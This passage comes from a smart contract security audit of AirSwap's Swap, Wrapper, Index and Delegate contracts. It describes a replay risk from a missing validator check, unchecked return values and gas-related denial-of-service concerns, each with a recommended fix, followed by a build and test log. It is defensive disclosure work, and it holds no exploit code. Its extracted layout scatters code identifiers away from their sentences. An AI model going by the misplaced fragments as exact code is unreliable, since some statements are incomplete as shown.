Recommendation:initialBalance QSP-5 does not check that the contract is correct isValid() validator Severity: Low Risk Resolved Status: , File(s) affected: Swap.sol Types.sol While the contract ensures that an is correctly formatted and properly signed in the function, it does not check that the intended contract, as denoted by the field, corresponds to the correct contract. If a sender/signer participates with multiple swap contracts, replay attacks may be possible by re-submitting the order. Description:Swap Order isValid() Swap Order.signature.validator Swap The function should add a check . Recommendation: isValid require(order.signature.validator == address(this)) Related to this, in the EIP712-related hash (L52-57): it may be beneficial to include in order to prevent attacks that uses a signature that was signed in the testnet become valid in the mainnet. Types.DOMAIN_TYPEHASHchainId Fluidity has clarified to us that the field is only used for informational purposes, and the encoding of the , which includes the address, mitigates this issue. Update:order.signature.validator DOMAIN_SEPARATOR Swap QSP-6 Unchecked Return ValueSeverity: Low Risk Resolved Status: , File(s) affected: Wrapper.sol Swap.sol Most functions will return a or value upon success. Some functions, like , are more crucial to check than others. It's important to ensure that every necessary function is checked. Description:true falsesend() On L151 of , the external is not checked for success, which may cause ether transfers to the user to fail. A similar issue exists for the on L127 of , and L340 of . Wrappercall.value() transfer() Wrapper Swap The external result should be checked for success by changing the line to: followed by a check on . Recommendation:call.value() (bool success, ) = msg.sender.call.value(order.signer.param)(""); success Additionally, on L127, the return value of should also be checked. Wrapper.transfer() This has been fixed by adding a check on the external call in . It has also been confirmed that any external calls to the contract, the return value does not need to be checked, as the contract reverts on failure instead of returning false. Update:Wrapper.sol WETH.sol QSP-7 Gas Usage / Loop Concerns forSeverity: Low Risk Acknowledged Status: , File(s) affected: Swap.sol Index.sol Gas usage is a main concern for smart contract developers and users, since high gas costs may prevent users from wanting to use the smart contract. Even worse, some gas usage issues may prevent the contract from providing services entirely. For example, if a loop requires too much gas to exit, then it may prevent the contract from functioning correctly entirely. It is best to break such loops into individual functions as possible. Description:for In particular, the function may fail if the array of is too long. Additionally, the function may need to iterate over many entries, which may make susceptible to DOS attacks if the array becomes too long. Swap.cancel()nonces _getEntryLowerThan() setLocator() Although the user could re-invoke the function by breaking the array up across multiple transactions, we recommend adding a comment to the function's description to indicate such potential issues. Recommendation:Swap.cancel() In , it may be beneficial to have an optional parameter (which can be computed offline), rather than always invoking at the cost of extra gas. Index.setLocator()nextEntry _getEntryLowerThan() A comment has been added to as suggested. Gas analysis has been performed on suggesting that gas-related denial-of-service attacks are unlikely, as discussed in Issue . Further, if a staker stakes more tokens, they can increase their rank in the Index and reduce their overall gas costs. Update:Swap.cancel() Index.setLocator() 296 QSP-8 Return values of ERC20 function calls are not checked Severity: Informational Resolved Status: , File(s) affected: Swap.sol INRERC20.sol On L346 of , is expected to return a boolean value indicating success. Although the is used here, the underlying contract is most likely an token, and therefore its return value should be checked for success. Description:Swap.sol ERC20.transferFrom() INRERC20 ERC20 We recommend removing and instead using . The return value of should be checked for success. Recommendation:INERC20 IERC20 transferFrom() This has been fixed through the use of . Update: safeTransferFrom() QSP-9 Unchecked constructor argument Severity: Informational File(s) affected: Swap.sol In the constructor, is passed in but never checked to be non-zero. This may lead to incorrect deployments of . Description: swapRegistry Swap Add a require-statement that checks that . Recommendation: swapRegistry != address(0) Automated Analyses Maian Maian did not report any vulnerabilities. Mythril Mythril did not report any vulnerabilities. Securify Securify reported a few potential "Locked Ether" and "Missing Input Validation" issues, however since the lines associated with these issues were unrelated to the vulnerability types (e.g., comments or contract definitions), they were classified as false positives. Slither Slither reported several issues:1. In, the return value of several external calls is not checked: Wrapper.sol L127: •wethContract.transfer()L144: •wethContract.transferFrom()L151: •msg.sender.call.value(order.signer.param)("");We recommend wrapping the first two calls with , and checking the success of the . require call.value() 1. In, Slither detects that L349: is a dangerous equality, as discussed above. We recommend removing this require-statement. Swap.solrequire(initialBalance.sub(param) == INRERC20(token).balanceOf(from), "TRANSFER_FAILED"); 2. In, Slither warns that the ERC20 specification is not strictly adhered, since the boolean return values of and have been removed. We recommend using the IERC20 interface without modification. As a result, we further recommend wrapping the call on L346 of with a require-statement. INERC20.soltransfer() transferFrom() Swap.sol Fluidity has addressed all concerns related to these findings. Update: Adherence to Specification The code adheres to the provided specification. Code Documentation The code is well documented and properly commented. Adherence to Best Practices The code generally adheres to best practices. We note the following minor issues/questions: It is not clear why the files are needed. Can these be removed? • Update: confirmed that these are necessary for testing.Imports.sol Both and could inherit from the standard OpenZeppelin smart contract. •Update: fixed through the removal of pausing functionality.Indexer.sol Wrapper.sol Pausable The view function may incorrectly return true if the low-order 20 bits correspond to a deployed address and any of the higher order 12 bits are non-zero. We recommend returning false if any of these higher-order bits are set to one. •DelegateFactory.has() On L52 of , we have that , as computed by the following expression: . However, this computation does not include all functions in the functions, namely and . It may be better to include these in the hash computation as this would be the more standard interface, and presumably the one that a token would publish to indicate it is ERC20-compliant. •Update: fixed.Delegate.sol ERC20_INTERFACE_ID = 0x277f8169 bytes4(keccak256('transfer(address,uint256)')) ^ bytes4(keccak256('transferFrom(address,address,uint256)')) ^ bytes4(keccak256('balanceOf(address)')) ^ bytes4(keccak256('allowance(address,address)')) ERC20 approve(address, uint256) totalSupply() ERC20 It is not clear how users or the web interface will utilize , however if the user sets too large of values in , it can cause SafeMath to revert when invoking . It may be useful to add when invoking in order to ensure that overflow/underflow will not cause SafeMath to revert. •Delegate.getMaxQuote() setRule() getMaxQuote() require(getMaxQuote(...) > 0) setRule() In , it may be best to check that is either or . With the current setup, the else-branch may accept orders that do not have a correct value. •Update: confirmed as expected behavior to default to ERC20 unless ERC721 is detected.Swap.transferToken() kind ERC721_INTERFACE_ID ERC20_INTERFACE_ID kind On L52 of , it appears that could simply map to a instead of a . • Swap.sol signerNonceStatus bool byte In and these functions may emit an or event, even if the entries already exist in the mapping. It may be better to first check if the corresponding mapping entries already exist in these functions. Similarly, the and functions may emit events, even if the entry did not previously exist in the mapping. •Update: fixed.Swap.authorizeSender() Swap.authorizeSigner() AuthorizeSender AuthorizeSigner revokeSender() revokeSigner() In , consider adding two helper functions for computing price constraints as opposed to duplication on lines L234, L291, L323, L356. •Update: fixed.Delegate.sol In , in the comment on L138, should be . • Update: fixed.Delegate.sol senderToken signerToken The function name is not very clear: invalidate(50) seems like it should invalidate the order with nonce 50, but it only invalidates up to 49. Consider alternative names such as "invalidateBefore". •Update: fixed.Swap.invalidate() It is possible to first then later. This makes it possible to make orders be valid again after they have been canceled in the first place. If this is not an intended behavior, to prevent unexpected consequence, we •Update: confirmed as expected behavior.invalidate(50) invalidate(30) suggest adding a check that thebe larger than . • minimumNonce signerMinimumNonce[msg.sender] Test Results Test Suite Results yarn test yarn run v1.19.2 $ yarn clean && yarn compile && lerna run test --concurrency=1 $ lerna run clean lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run clean" lerna info run Ran npm script 'clean' in '@airswap/tokens' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/transfers' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/types' in 0.2s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/indexer' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/swap' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/deployer' in 0.3s: $ rm -rf ./build && rm -rf ./flatten lerna info run Ran npm script 'clean' in '@airswap/delegate' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/pre-swap-checker' in 0.3s: $ rm -rf ./build lerna info run Ran npm script 'clean' in '@airswap/wrapper' in 0.3s: $ rm -rf ./build lerna success run Ran npm script 'clean' in 9 packages in 1.3s: lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - @airswap/pre-swap-checker $ lerna run compile lerna notice cli v3.19.0 lerna info versioning independent lerna info Executing command in 9 packages: "yarn run compile" lerna info run Ran npm script 'compile' in '@airswap/tokens' in 10.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/AdaptedERC721.sol > Compiling ./contracts/AdaptedKittyERC721.sol > Compiling ./contracts/ERC1155.sol > Compiling ./contracts/FungibleToken.sol > Compiling ./contracts/IERC721Receiver.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/MintableERC1155Token.sol > Compiling ./contracts/NonFungibleToken.sol > Compiling ./contracts/OMGToken.sol > Compiling ./contracts/OrderTest721.sol > Compiling ./contracts/WETH9.sol > Compiling ./contracts/interfaces/IERC1155.sol > Compiling ./contracts/interfaces/IERC1155Receiver.sol > Compiling ./contracts/interfaces/IWETH.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/tokens/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/types' in 10.8s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Types.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol> Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: /Users/ezulkosk/audits/airswap-protocols/source/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/types/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/transfers' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/TransferHandlerRegistry.sol > Compiling ./contracts/handlers/ERC1155TransferHandler.sol > Compiling ./contracts/handlers/ERC20TransferHandler.sol > Compiling ./contracts/handlers/ERC721TransferHandler.sol > Compiling ./contracts/handlers/KittyCoreTransferHandler.sol > Compiling ./contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling ./contracts/interfaces/ITransferHandler.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/transfers/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/deployer' in 4.3s: $ truffle compile Compiling your contracts... =========================== > Everything is up to date, there is nothing to compile. lerna info run Ran npm script 'compile' in '@airswap/indexer' in 13.6s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Index.sol > Compiling ./contracts/Indexer.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IIndexer.sol > Compiling ./contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/DelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimentalfeatures on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/indexer/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/swap' in 14.1s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Swap.sol > Compiling ./contracts/interfaces/ISwap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/AdaptedKittyERC721.sol > Compiling @airswap/tokens/contracts/ERC1155.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/MintableERC1155Token.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155.sol > Compiling @airswap/tokens/contracts/interfaces/IERC1155Receiver.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC1155TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/ERC721TransferHandler.sol > Compiling @airswap/transfers/contracts/handlers/KittyCoreTransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/IKittyCoreTokenTransfer.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/swap/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/pre-swap-checker' in 11.7s: $ truffle compile Compiling your contracts...=========================== > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/PreSwapChecker.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/AdaptedERC721.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/NonFungibleToken.sol > Compiling @airswap/tokens/contracts/OMGToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/drafts/Counters.sol > Compiling openzeppelin-solidity/contracts/introspection/ERC165.sol > Compiling openzeppelin-solidity/contracts/introspection/IERC165.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721.sol > Compiling openzeppelin-solidity/contracts/token/ERC721/IERC721Receiver.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/contracts/PreSwapChecker.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/utils/pre-swap-checker/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/delegate' in 13.0s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/Delegate.sol > Compiling ./contracts/DelegateFactory.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/interfaces/IDelegate.sol > Compiling ./contracts/interfaces/IDelegateFactory.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/Delegate.sol:18:1: Warning: Experimentalfeatures are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/delegate/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna info run Ran npm script 'compile' in '@airswap/wrapper' in 12.4s: $ truffle compile Compiling your contracts... =========================== > Compiling ./contracts/HelperMock.sol > Compiling ./contracts/Imports.sol > Compiling ./contracts/Migrations.sol > Compiling ./contracts/Wrapper.sol > Compiling @airswap/delegate/contracts/Delegate.sol > Compiling @airswap/delegate/contracts/interfaces/IDelegate.sol > Compiling @airswap/indexer/contracts/Index.sol > Compiling @airswap/indexer/contracts/Indexer.sol > Compiling @airswap/indexer/contracts/interfaces/IIndexer.sol > Compiling @airswap/indexer/contracts/interfaces/ILocatorWhitelist.sol > Compiling @airswap/swap/contracts/Swap.sol > Compiling @airswap/swap/contracts/interfaces/ISwap.sol > Compiling @airswap/tokens/contracts/FungibleToken.sol > Compiling @airswap/tokens/contracts/WETH9.sol > Compiling @airswap/tokens/contracts/interfaces/IWETH.sol > Compiling @airswap/transfers/contracts/TransferHandlerRegistry.sol > Compiling @airswap/transfers/contracts/handlers/ERC20TransferHandler.sol > Compiling @airswap/transfers/contracts/interfaces/ITransferHandler.sol > Compiling @airswap/types/contracts/Types.sol > Compiling @gnosis.pm/mock-contract/contracts/MockContract.sol > Compiling openzeppelin-solidity/contracts/GSN/Context.sol > Compiling openzeppelin-solidity/contracts/access/Roles.sol > Compiling openzeppelin-solidity/contracts/access/roles/MinterRole.sol > Compiling openzeppelin-solidity/contracts/math/SafeMath.sol > Compiling openzeppelin-solidity/contracts/ownership/Ownable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/IERC20.sol > Compiling openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol > Compiling openzeppelin-solidity/contracts/utils/Address.sol > compilation warnings encountered: @airswap/types/contracts/Types.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/interfaces/ISwap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/interfaces/IDelegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/Wrapper.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,/Users/ezulkosk/audits/airswap-protocols/source/wrapper/contracts/HelperMock.sol:2:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/swap/contracts/Swap.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/delegate/contracts/Delegate.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Index.sol:17:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ ,@airswap/indexer/contracts/Indexer.sol:18:1: Warning: Experimental features are turned on. Do not use experimental features on live deployments. pragma experimental ABIEncoderV2; ^-------------------------------^ > Artifacts written to /Users/ezulkosk/audits/airswap-protocols/source/wrapper/build/contracts > Compiled successfully using: - solc: 0.5.12+commit.7709ece9.Emscripten.clang lerna success run Ran npm script 'compile' in 9 packages in 62.4s:lerna success - @airswap/delegate lerna success - @airswap/indexer lerna success - @airswap/swap lerna success - @airswap/tokens lerna success - @airswap/transfers lerna success - @airswap/types lerna success - @airswap/wrapper lerna success - @airswap/deployer lerna success - 